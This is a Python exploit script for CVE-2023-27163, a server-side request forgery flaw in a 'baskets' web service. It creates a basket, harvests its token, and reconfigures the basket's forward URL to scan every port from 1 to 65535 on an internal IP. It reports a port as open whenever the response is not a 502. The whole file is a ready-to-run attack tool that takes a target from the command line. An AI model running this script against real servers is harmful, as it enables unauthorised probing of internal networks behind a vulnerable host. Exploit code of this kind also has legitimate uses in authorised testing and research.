CVE-2023-27163.py

import requests
import random
import string
import os
import argparse

def generate_random_basket_name(length=8):
    '''
    Generate a random basket name.
    '''
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))

def create_basket(target_url):
    '''
    Creating a new basket.
    '''
    basket_name = generate_random_basket_name()

    url = f'{target_url}/api/baskets/{basket_name}'

    headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',
        'Accept': '*/*',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate',
        'Authorization': 'null',
        'X-Requested-With': 'XMLHttpRequest',
        'Origin': target_url,
        'Referer': f'{target_url}/web',
        'Connection': 'close'
    }

    data = {}  

    response = requests.post(url, headers=headers, data=data)

    token = response.text.split('"token":"')[1].split('"')[0]
    basket_name_extracted = url.split('/')[-1]

    print("\n----------Creating a New Basket----------")
    print(f"\nGenerated Basket Name: {basket_name_extracted}")
    print(f"\nToken: {token}")

    return token, basket_name_extracted

def configure_basket(target_url, token, basket_name, port, internal_ip):
    '''
    Configuring the basket for updating port.
    '''
    config_url = f'{target_url}/api/baskets/{basket_name}'

    config_headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',
        'Accept': 'application/json, text/javascript, */*; q=0.01',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate',
        'Content-Type': 'application/json',
        'Authorization': f'{token}',
        'X-Requested-With': 'XMLHttpRequest',
        'Origin': target_url,
        'Connection': 'close',
        'Referer': f'{target_url}/web/{basket_name}'
    }

    url_port = f'http://{internal_ip}:{port}'

    config_payload = {
        "forward_url": url_port,
        "proxy_response": True,
        "insecure_tls": False,
        "expand_path": False,
        "capacity": 200
    }

    config_response = requests.put(config_url, headers=config_headers, json=config_payload) 
    #proxies={"http":"http://127.0.0.1:8080", "https":"https://127.0.0.1:8080"}

    #print(f"Basket Configuration Change Response for {basket_name}:")
    #print("\nBasket is reconfigured successfully!")

def port_scan(target_url, token, basket_name, port, internal_ip):
    '''
    Port Scanning with different port for internal IP address.
    '''
    configure_basket(target_url, token, basket_name, port, internal_ip)
    basket_url = f'{target_url}/{basket_name}'
    basket_response = requests.get(basket_url)
    if basket_response.status_code != 502:
        print(f'http://{internal_ip}:{port}')
    else:
        pass


def main():

    parser = argparse.ArgumentParser(
        description='CVE-2023-27163 - Internal Port Scanner'
        )

    parser.add_argument(
        '-t',
        '--target',
        type=str,
        required=True,
        help='Specify your target!')

    parser.add_argument(
        '-i',
        '--internal-ip',
        type=str,
        default='127.0.0.1',
        help='Specify internal IP')

    args = parser.parse_args()
    
    target_url = args.target
    internal_ip = args.internal_ip

    token, basket_name = create_basket(target_url)

    print("\n---------Performing Port Scanning---------")
    for port in range(1, 65536):  # Scanning ports from 1 to 65535
        port_scan(target_url, token, basket_name, port, internal_ip)
    
    print("Port Scanning is completed!")

    
if __name__ == "__main__":
    main()